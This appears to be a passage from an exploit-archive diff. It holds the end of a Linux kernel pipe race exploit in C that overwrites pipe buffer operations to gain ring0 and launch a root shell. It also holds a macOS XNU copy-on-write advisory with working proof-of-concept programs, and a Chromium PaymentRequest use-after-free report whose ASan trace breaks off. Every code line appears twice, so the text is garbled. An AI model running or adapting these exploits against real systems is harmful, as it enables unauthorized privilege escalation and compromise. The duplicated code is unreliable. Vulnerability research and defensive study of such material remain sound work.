||||
void *ops;
|
||||
unsigned int flags;
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
unsigned int flags;
|
||||
};
|
||||
|
||||
struct pipe_buffer2616orolder {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2620ornewer {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// LOCKBREAK
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// LOCKBREAK
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
void *tmp_page;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
|
||||
};
|
||||
|
||||
struct pipe_inode_info2619orolder {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
void *owner;
|
||||
*/
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
void *inode;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2616orolder {
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
*/
|
||||
void *owner;
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
unsigned int spinlock;
|
||||
/*
|
||||
// if PREEMPT enabled
|
||||
unsigned int break_lock;
|
||||
// DEBUG_SPINLOCK
|
||||
unsigned int magic, owner_cpu;
|
||||
*/
|
||||
void *owner;
|
||||
void *next, *prev;
|
||||
unsigned int nrbufs, curbuf;
|
||||
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
|
||||
void *tmp_page;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
void *fasync_readers;
|
||||
void *fasync_writers;
|
||||
};
|
||||
|
||||
struct fasync_struct {
|
||||
int magic;
|
||||
int fa_fd;
|
||||
struct fasync_struct *fa_next;
|
||||
void *file;
|
||||
int magic;
|
||||
int fa_fd;
|
||||
struct fasync_struct *fa_next;
|
||||
void *file;
|
||||
};
|
||||
|
||||
struct pipe_inode_info2610orolder {
|
||||
/* this includes 2.4 kernels */
|
||||
unsigned long lock; // can be rw or spin
|
||||
void *next, *prev;
|
||||
char *base;
|
||||
unsigned int len;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
/* 2.4 only */
|
||||
unsigned int waiting_readers;
|
||||
/* this includes 2.4 kernels */
|
||||
unsigned long lock; // can be rw or spin
|
||||
void *next, *prev;
|
||||
char *base;
|
||||
unsigned int len;
|
||||
unsigned int start;
|
||||
unsigned int readers;
|
||||
unsigned int writers;
|
||||
/* 2.4 only */
|
||||
unsigned int waiting_readers;
|
||||
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
/* 2.6 only */
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
unsigned int waiting_writers;
|
||||
unsigned int r_counter;
|
||||
unsigned int w_counter;
|
||||
/* 2.6 only */
|
||||
struct fasync_struct *fasync_readers;
|
||||
struct fasync_struct *fasync_writers;
|
||||
};
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
|
||||
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
|
||||
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
|
||||
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
|
||||
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
|
||||
int i;
|
||||
int newver;
|
||||
struct utsname unm;
|
||||
{
|
||||
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
|
||||
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
|
||||
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
|
||||
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
|
||||
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
|
||||
int i;
|
||||
int newver;
|
||||
struct utsname unm;
|
||||
|
||||
i = uname(&unm);
|
||||
if (i != 0) {
|
||||
printf("unable to get kernel version\n");
|
||||
exit(1);
|
||||
}
|
||||
i = uname(&unm);
|
||||
if (i != 0) {
|
||||
printf("unable to get kernel version\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
|
||||
newver = 3;
|
||||
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
|
||||
newver = 2;
|
||||
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
|
||||
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
|
||||
newver = 1;
|
||||
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
|
||||
// is_old_kernel = 1;
|
||||
// newver = 0;
|
||||
} else {
|
||||
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
|
||||
exit(1);
|
||||
}
|
||||
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
|
||||
newver = 3;
|
||||
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
|
||||
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
|
||||
newver = 2;
|
||||
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
|
||||
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
|
||||
newver = 1;
|
||||
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
|
||||
// is_old_kernel = 1;
|
||||
// newver = 0;
|
||||
} else {
|
||||
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* for most of these what will happen is our write will
|
||||
cause ops->confirm(/pin) to be called, which we've replaced
|
||||
with own_the_kernel
|
||||
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
|
||||
called instead (repeatedly) is the release op
|
||||
*/
|
||||
if (newver == 3) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_new->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_new->next = &info_new->next;
|
||||
info_new->readers = 1;
|
||||
info_new->writers = 1;
|
||||
info_new->nrbufs = 1;
|
||||
info_new->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_new->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 2) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_old->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_old->next = &info_old->next;
|
||||
info_old->readers = 1;
|
||||
info_old->writers = 1;
|
||||
info_old->nrbufs = 1;
|
||||
info_old->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_old->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 1) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_older->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_older->next = &info_older->next;
|
||||
info_older->readers = 1;
|
||||
info_older->writers = 1;
|
||||
info_older->nrbufs = 1;
|
||||
info_older->curbuf = 1;
|
||||
/* we'll get called multiple times from free_pipe_info
|
||||
but it's ok because own_the_kernel handles this case
|
||||
*/
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_older->bufs[i].ops = (void *)ops;
|
||||
} else {
|
||||
/*
|
||||
different ballgame here, instead of being able to
|
||||
provide a function pointer in the ops table, you
|
||||
control a base address used to compute the address for
|
||||
a copy into the kernel via copy_from_user. The
|
||||
following should get you started.
|
||||
*/
|
||||
/* lookup symbol for writable fptr then trigger it later
|
||||
change the main write in the one thread to write out
|
||||
pointers with the value of exp_state->exploit_kernel
|
||||
*/
|
||||
info_oldest->base = (char *)0xc8000000;
|
||||
info_oldest->readers = 1;
|
||||
info_oldest->writers = 1;
|
||||
return 0;
|
||||
}
|
||||
/* for most of these what will happen is our write will
|
||||
cause ops->confirm(/pin) to be called, which we've replaced
|
||||
with own_the_kernel
|
||||
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
|
||||
called instead (repeatedly) is the release op
|
||||
*/
|
||||
if (newver == 3) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_new->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_new->next = &info_new->next;
|
||||
info_new->readers = 1;
|
||||
info_new->writers = 1;
|
||||
info_new->nrbufs = 1;
|
||||
info_new->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_new->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 2) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_old->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_old->next = &info_old->next;
|
||||
info_old->readers = 1;
|
||||
info_old->writers = 1;
|
||||
info_old->nrbufs = 1;
|
||||
info_old->curbuf = 1;
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_old->bufs[i].ops = (void *)ops;
|
||||
} else if (newver == 1) {
|
||||
/* uncomment for DEBUG_SPINLOCK */
|
||||
//info_older->magic = 0xdead4ead;
|
||||
/* makes list_head empty for wake_up_common */
|
||||
info_older->next = &info_older->next;
|
||||
info_older->readers = 1;
|
||||
info_older->writers = 1;
|
||||
info_older->nrbufs = 1;
|
||||
info_older->curbuf = 1;
|
||||
/* we'll get called multiple times from free_pipe_info
|
||||
but it's ok because own_the_kernel handles this case
|
||||
*/
|
||||
for (i = 0; i < PIPE_BUFFERS; i++)
|
||||
info_older->bufs[i].ops = (void *)ops;
|
||||
} else {
|
||||
/*
|
||||
different ballgame here, instead of being able to
|
||||
provide a function pointer in the ops table, you
|
||||
control a base address used to compute the address for
|
||||
a copy into the kernel via copy_from_user. The
|
||||
following should get you started.
|
||||
*/
|
||||
/* lookup symbol for writable fptr then trigger it later
|
||||
change the main write in the one thread to write out
|
||||
pointers with the value of exp_state->exploit_kernel
|
||||
*/
|
||||
info_oldest->base = (char *)0xc8000000;
|
||||
info_oldest->readers = 1;
|
||||
info_oldest->writers = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
ops->can_merge = 1;
|
||||
for (i = 0; i < 16; i++)
|
||||
((void **)&ops->map)[i] = exp_state->own_the_kernel;
|
||||
ops->can_merge = 1;
|
||||
for (i = 0; i < 16; i++)
|
||||
((void **)&ops->map)[i] = exp_state->own_the_kernel;
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
char buf[128];
|
||||
int fd;
|
||||
int i = 0;
|
||||
int i = 0;
|
||||
|
||||
/* ignore sigpipe so we don't bail out early */
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
/* ignore sigpipe so we don't bail out early */
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
start_thread(go_go_speed_racer, NULL);
|
||||
start_thread(go_go_speed_racer, NULL);
|
||||
|
||||
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
|
||||
fflush(stdout);
|
||||
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
|
||||
fflush(stdout);
|
||||
|
||||
while (!exp_state->got_ring0 && i < 10000000) {
|
||||
fd = pipefd[1];
|
||||
sprintf(buf, "/proc/self/fd/%d", fd);
|
||||
fd = open(buf, O_WRONLY | O_NONBLOCK);
|
||||
if (fd >= 0) {
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
write(fd, ".", 1);
|
||||
close(fd);
|
||||
}
|
||||
i++;
|
||||
fd = pipefd[1];
|
||||
sprintf(buf, "/proc/self/fd/%d", fd);
|
||||
fd = open(buf, O_WRONLY | O_NONBLOCK);
|
||||
if (fd >= 0) {
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
write(fd, ".", 1);
|
||||
close(fd);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (!exp_state->got_ring0) {
|
||||
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
|
||||
return 0;
|
||||
}
|
||||
if (!exp_state->got_ring0) {
|
||||
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
// return RUN_ROOTSHELL;
|
||||
return FUNNY_PIC_AND_ROOTSHELL;
|
||||
// return RUN_ROOTSHELL;
|
||||
return FUNNY_PIC_AND_ROOTSHELL;
|
||||
}
|
180
exploits/macos/dos/46478.txt
Normal file
180
exploits/macos/dos/46478.txt
Normal file
|
@ -0,0 +1,180 @@
|
|||
XNU has various interfaces that permit creating copy-on-write copies of data
|
||||
between processes, including out-of-line message descriptors in mach messages.
|
||||
It is important that the copied memory is protected against later modifications
|
||||
by the source process; otherwise, the source process might be able to exploit
|
||||
double-reads in the destination process.
|
||||
|
||||
This copy-on-write behavior works not only with anonymous memory, but also with
|
||||
file mappings. This means that, after the destination process has started
|
||||
reading from the transferred memory area, memory pressure can cause the pages
|
||||
holding the transferred memory to be evicted from the page cache. Later, when
|
||||
the evicted pages are needed again, they can be reloaded from the backing
|
||||
filesystem.
|
||||
|
||||
This means that if an attacker can mutate an on-disk file without informing the
|
||||
virtual management subsystem, this is a security bug.
|
||||
|
||||
MacOS permits normal users to mount filesystem images. When a mounted filesystem
|
||||
image is mutated directly (e.g. by calling pwrite() on the filesystem image),
|
||||
this information is not propagated into the mounted filesystem.
|
||||
|
||||
|
||||
The following is a simple proof-of-concept that demonstrates the problem, split
|
||||
across multiple small helpers for simplicity:
|
||||
|
||||
|
||||
buggycow.c (opens a file from a FAT image mount, creates a CoW mapping, and
|
||||
reads from it when requested):
|
||||
===============
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
|
||||
int main(void) {
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
int fd = open("/Volumes/NO NAME/testfile", O_RDWR);
|
||||
if (fd == -1) err(1, "open");
|
||||
unsigned int *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (mapping == MAP_FAILED) err(1, "mmap");
|
||||
|
||||
pointer_t cow_mapping;
|
||||
mach_msg_type_number_t cow_mapping_size;
|
||||
if (vm_read(mach_task_self(), (mach_vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
|
||||
if (cow_mapping_size != 0x4000) errx(1, "vm read size");
|
||||
|
||||
while (1) {
|
||||
printf("orig mapping has value 0x%x, cow mapping has value 0x%x\n", *mapping, *(unsigned int*)cow_mapping);
|
||||
printf("press enter to continue: ");
|
||||
getchar();
|
||||
}
|
||||
}
|
||||
===============
|
||||
|
||||
mod.c (modifies file contents inside the FAT filesystem image):
|
||||
===============
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
int fd = open("fatimg.img", O_RDWR);
|
||||
if (fd == -1) err(1, "open");
|
||||
if (pwrite(fd, "AAAA", 4, 0x37000) != 4) err(1, "pwrite");
|
||||
printf("done\n");
|
||||
}
|
||||
===============
|
||||
|
||||
pressure.c (creates memory pressure; you may have to change `SIZE` such that it
|
||||
is significantly bigger than the amount of RAM in your test machine):
|
||||
===============
|
||||
#include <err.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define SIZE (1024UL*1024UL*1024UL*20UL)
|
||||
|
||||
int main(void) {
|
||||
int fd = open("spamfile", O_RDWR|O_TRUNC|O_CREAT, 0666);
|
||||
if (fd == -1) err(1, "open");
|
||||
if (ftruncate(fd, SIZE)) err(1, "ftruncate");
|
||||
char *mapping = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (mapping == MAP_FAILED) err(1, "mmap");
|
||||
if (madvise(mapping, SIZE, MADV_RANDOM)) err(1, "madvise");
|
||||
puts("mapped");
|
||||
for (unsigned long off = 0; off < SIZE; off++) {
|
||||
mapping[off] = 42;
|
||||
}
|
||||
puts("done");
|
||||
}
|
||||
===============
|
||||
|
||||
fatimg.img.bz2.base64 (FAT filesystem with a single file "testfile" in
|
||||
it, which contains the string "HELLO WORLD AAAA", stored at offset 0x37000):
|
||||
===============
|
||||
QlpoOTFBWSZTWWCuw5MFfk7//d/7wSDRITEEZ2ffiTfv3KZAAEgIAJQECUBCBAlAybABOE1hqp+i
|
||||
kfkjETATJkwJgGiGIY1NM1PQEbU2jRqFTIjRmpo0ADRoMgAAAAGTJgTIARSSIaaZNGjQNAAAAAGg
|
||||
AAaNAGJ+LRgQ8YFAZoEEE/idIUFFFRJ4qiiqibs6RBGfFDBkXMCKKKqJFHpmCRSJUy7KhlXpv+9v
|
||||
3xSiKkuWmWKvXPKtepMgooqomAQta6v5itC2YCvDFO2sRZn2nInTRQ0JDp3gdpjD2ksNgl5x3wDH
|
||||
Im3IkclmyVSy9hRzIWICM3xvZFLMqoTCM/zPU/QuS7kTsbg0EpXafayp5MmFUFvIVffyBxYWMQxC
|
||||
mELiRSUEmFTeEU2GyYJz4a6Bk9/eOGIUssEiThI2PAmlnHmgOGYdB6KHlZpCKIIOtCUdYeCKc8zg
|
||||
de5s8XX09eXR3r0f+n1NGwwBRRVRJ1oZEJSIkf5igrJMprIcE8W+Ar8cgAGAAAAQQABhAJqMhUBL
|
||||
UhUBLmKCskymsgePd5wAyE6AEYAAAAQAEEAAYZgKU0yogi2Kogi8XckU4UJCdb3A9A==
|
||||
===============
|
||||
|
||||
|
||||
To reproduce:
|
||||
|
||||
Unpack and compile the files:
|
||||
|
||||
$ base64 -D < fatimg.img.bz2.base64 | bunzip2 > fatimg.img
|
||||
$ cc -o buggycow buggycow.c
|
||||
$ cc -o mod mod.c
|
||||
$ cc -o pressure pressure.c
|
||||
$
|
||||
|
||||
Mount the filesystem image (e.g. by double-clicking on it in finder).
|
||||
|
||||
In one terminal:
|
||||
|
||||
$ ./buggycow
|
||||
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
|
||||
press enter to continue:
|
||||
|
||||
In a second terminal:
|
||||
|
||||
$ ./mod
|
||||
done
|
||||
$ ./pressure
|
||||
mapped
|
||||
|
||||
|
||||
Once you can see in "top" that there has been no physical memory anymore for a
|
||||
while - or when ./pressure has finished running -, go back to the first terminal
|
||||
and press enter. You should see this:
|
||||
|
||||
$ ./buggycow
|
||||
orig mapping has value 0x4c4c4548, cow mapping has value 0x4c4c4548
|
||||
press enter to continue:
|
||||
orig mapping has value 0x41414141, cow mapping has value 0x41414141
|
||||
press enter to continue:
|
||||
|
||||
(Weirdly, when you kill the ./pressure helper, e.g. by pressing CTRL+C, it
|
||||
takes minutes before the process actually disappears.)
|
||||
|
||||
|
||||
Ian made a proof of concept that demonstrates that this also applies to COW
|
||||
mappings created via out-of-line descriptors in mach messages; I've attached
|
||||
this PoC as mOOM_COW.tar.bz2. Usage:
|
||||
|
||||
$ tar xf mOOM_COW.tar.bz2
|
||||
$ cd mOOM_COW
|
||||
$ vi mOOM_COW.c # edit RAM_GB in the first line to the amount of RAM in your machine
|
||||
$ cc -o mOOM_COW mOOM_COW.c
|
||||
$ ./mOOM_COW
|
||||
[+] child got stashed port
|
||||
[+] child sent hello message to parent over shared port
|
||||
[+] parent received hello message from child
|
||||
[+] child restored stolen port
|
||||
[+] mounted fatimg
|
||||
[+] child sent message to parent
|
||||
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10bead000
|
||||
[+] parent reads: 4c4c4548
|
||||
[+] telling child to try to change what I see!
|
||||
[+] child received ping to start trying to change the OOL memory!
|
||||
[+] child wrote to the file underlying the mount
|
||||
|
||||
[+] child is spamming
|
||||
[+] child has finished spamming
|
||||
[+] parent got ping message from child, lets try to read again...
|
||||
[+] parent reads: 41414141
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46478.zip
|
151
exploits/multiple/dos/46472.txt
Normal file
151
exploits/multiple/dos/46472.txt
Normal file
|
@ -0,0 +1,151 @@
|
|||
There are several object-lifetime issues in the browser process in the
|
||||
implementation of payments.mojom.PaymentRequest.
|
||||
|
||||
The PaymentRequest object contains a std::unique_ptr to a
|
||||
PaymentRequestSpec, which is initialised during the call to PaymentRequest::Init.
|
||||
(https://cs.chromium.org/chromium/src/components/payments/content/payment_request.cc?rcl=7ba58abc11b141bafe03e017c5e027b889782223&l=114)
|
||||
|
||||
If we call PaymentRequest::Show on an initialised PaymentRequest, then we will pass this PaymentRequestSpec pointer to a new PaymentRequestSheetController.
|
||||
(https://cs.chromium.org/chromium/src/chrome/browser/ui/views/payments/payment_request_dialog_view.cc?rcl=cededb4b546c5082ef1a207b67d9744481c4aa8d&l=415)
|
||||
|
||||
It will be stored as a raw pointer there with the comment
|
||||
|
||||
"// All these are not owned. Will outlive this."
|
||||
|
||||
(https://cs.chromium.org/chromium/src/chrome/browser/ui/views/payments/payment_request_sheet_controller.h?rcl=cededb4b546c5082ef1a207b67d9744481c4aa8d&l=168)
|
||||
|
||||
The comment, however, is incorrect, and there is no guarantee that the spec_ pointer will still be valid when the PaymentRequestSheetController later uses it. If the client makes a second call to PaymentRequest::Init, then the spec_ object will be free'd immediately.
|
||||
|
||||
Note that the same appears to be true of the state_ object, which is also passed in to the PaymentRequestSheetController.
|
||||
|
||||
To reproduce you need a local build of chrome; run the attached script
|
||||
|
||||
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
|
||||
$ python -m SimpleHTTPServer&
|
||||
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html'
|
||||
|
||||
Then once the chrome window is open and the renderer tabs have started, close the running chrome (ctrl-c will work fine) and you will likely see the issue. It may take several tries for everything to line up right.
|
||||
|
||||
=================================================================
|
||||
==157886==ERROR: AddressSanitizer: heap-use-after-free on address 0x6140003c8d70 at pc 0x5645e19a8acd bp 0x7ffd25a60110 sp 0x7ffd25a60108
|
||||
READ of size 8 at 0x6140003c8d70 thread T0 (chrome)
|
||||
#0 0x5645e19a8acc in begin buildtools/third_party/libc++/trunk/include/vector:1506:30
|
||||
#1 0x5645e19a8acc in RemoveObserver base/observer_list.h:282
|
||||
#2 0x5645e19a8acc in payments::PaymentRequestSpec::RemoveObserver(payments::PaymentRequestSpec::Observer*) components/payments/content/payment_request_spec.cc:211
|
||||
#3 0x5645e138787c in ~PaymentSheetViewController chrome/browser/ui/views/payments/payment_sheet_view_controller.cc:383:11
|
||||
#4 0x5645e138787c in payments::PaymentSheetViewController::~PaymentSheetViewController() chrome/browser/ui/views/payments/payment_sheet_view_controller.cc:382
|
||||
#5 0x5645e1338d5d in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
|
||||
#6 0x5645e1338d5d in reset buildtools/third_party/libc++/trunk/include/memory:2638
|
||||
#7 0x5645e1338d5d in ~unique_ptr buildtools/third_party/libc++/trunk/include/memory:2592
|
||||
#8 0x5645e1338d5d in ~pair buildtools/third_party/libc++/trunk/include/utility:315
|
||||
#9 0x5645e1338d5d in __destroy<std::__1::pair<views::View *const, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > buildtools/third_party/libc++/trunk/include/memory:1734
|
||||
#10 0x5645e1338d5d in destroy<std::__1::pair<views::View *const, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > buildtools/third_party/libc++/trunk/include/memory:1597
|
||||
#11 0x5645e1338d5d in std::__1::__tree<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, std::__1::__map_value_compare<views::View*, std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, std::__1::less<views::View*>, true>, std::__1::allocator<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > > > >::destroy(std::__1::__tree_node<std::__1::__value_type<views::View*, std::__1::unique_ptr<payments::PaymentRequestSheetController, std::__1::default_delete<payments::PaymentRequestSheetController> > >, void*>*) buildtools/third_party/libc++/trunk/include/__tree:1863
|
||||
#12 0x5645e13328be in clear buildtools/third_party/libc++/trunk/include/__tree:1900:5
|
||||
#13 0x5645e13328be in clear buildtools/third_party/libc++/trunk/include/map:1274
|
||||
#14 0x5645e13328be in payments::PaymentRequestDialogView::Cancel() chrome/browser/ui/views/payments/payment_request_dialog_view.cc:123
|
||||
#15 0x5645de3ae330 in views::DialogClientView::CanClose() ui/views/window/dialog_client_view.cc:119:52
|
||||
#16 0x5645de375084 in views::Widget::Close() ui/views/widget/widget.cc:580:46
|
||||
#17 0x5645d8940eff in payments::ChromePaymentRequestDelegate::CloseDialog() chrome/browser/payments/chrome_payment_request_delegate.cc:77:20
|
||||
#18 0x5645e198d77d in payments::PaymentRequest::OnConnectionTerminated() components/payments/content/payment_request.cc:434:14
|
||||
#19 0x5645e198ffda in payments::PaymentRequest::Show(bool) components/payments/content/payment_request.cc
|
||||
